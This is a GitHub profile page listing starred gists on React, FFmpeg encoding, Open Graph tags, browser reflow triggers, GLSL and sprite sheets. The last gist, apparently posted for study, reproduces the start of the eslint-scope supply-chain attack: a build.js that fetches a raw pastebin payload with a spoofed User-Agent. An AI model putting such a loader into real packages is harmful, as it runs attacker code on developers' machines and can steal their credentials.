Skip to content

Instantly share code, notes, and snippets.

View OutThisLife's full-sized avatar
🏠
Working from home

brooklyn! OutThisLife

🏠
Working from home
View GitHub Profile
@sebmarkbage
sebmarkbage / Enhance.js
Last active January 31, 2024 18:33
Higher-order Components
import { Component } from "React";
export var Enhance = ComposedComponent => class extends Component {
constructor() {
this.state = { data: null };
}
componentDidMount() {
this.setState({ data: 'Hello' });
}
render() {
@Vestride
Vestride / encoding-video.md
Last active April 24, 2024 09:59
Encoding video for the web

Encoding Video

Installing

Install FFmpeg with homebrew. You'll need to install it with a couple flags for webm and the AAC audio codec.

brew install ffmpeg --with-libvpx --with-libvorbis --with-fdk-aac --with-opus
@ada-lovecraft
ada-lovecraft / opengraph.html
Created June 18, 2015 18:44
Giphy open graph
<meta property="fb:app_id" content="406655189415060">
<meta property="og:site_name" content="Giphy">
<meta property="og:url" content="http://giphy.com/gifs/rhuber-test-djeEV9Xji6zjgLXBxug">
<meta property="og:title" content="Animated GIF">
<meta property="og:description" content="The best GIFs are on Giphy">
<meta property="og:type" content="video.other">
<meta property="og:image" content="http://media.giphy.com/media/djeEV9Xji6zjgLXBxug/giphy.gif">
<meta property="og:image:width" content="912">
@paulirish
paulirish / what-forces-layout.md
Last active May 6, 2024 07:54
What forces layout/reflow. The comprehensive list.

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.

Element APIs

Getting box metrics
  • elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent
@co3moz
co3moz / starter.frag
Last active March 28, 2018 06:23
just glsl starter boilerplate :)
precision mediump float;
uniform float time;
uniform vec2 mouse;
uniform vec2 resolution;
void main() {
vec2 aspect = resolution.xy / min(resolution.x, resolution.y);
vec2 position = (gl_FragCoord.xy / resolution.xy) * aspect;
vec4 color = vec4(0.0);
@zomars
zomars / generate-vertical-sprite-from-video.sh
Last active March 3, 2023 18:24 — forked from vvo/video-snapshots-sprites.sh
generate a vertical sprite sheet from video file
# fps=10
ffmpeg -i video.mp4 -f image2 -vf fps=fps=10 img%03d.jpg
# vertical sprite
files=$(ls img*.jpg | sort -t '-' -n -k 2 | tr '\n' ' ')
convert $files -append output.jpg
# references:
# http://www.imagemagick.org/script/command-line-options.php#append
# http://www.imagemagick.org/script/command-line-options.php#resize
@jakubzitny
jakubzitny / snippets
Last active January 19, 2024 10:06
StackOverflow JS <code> snipptes - filtered, unescaped
// SNIPPET:
e.preventDefault()
// SNIPPET:
onclick='document.formName.submit();'
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",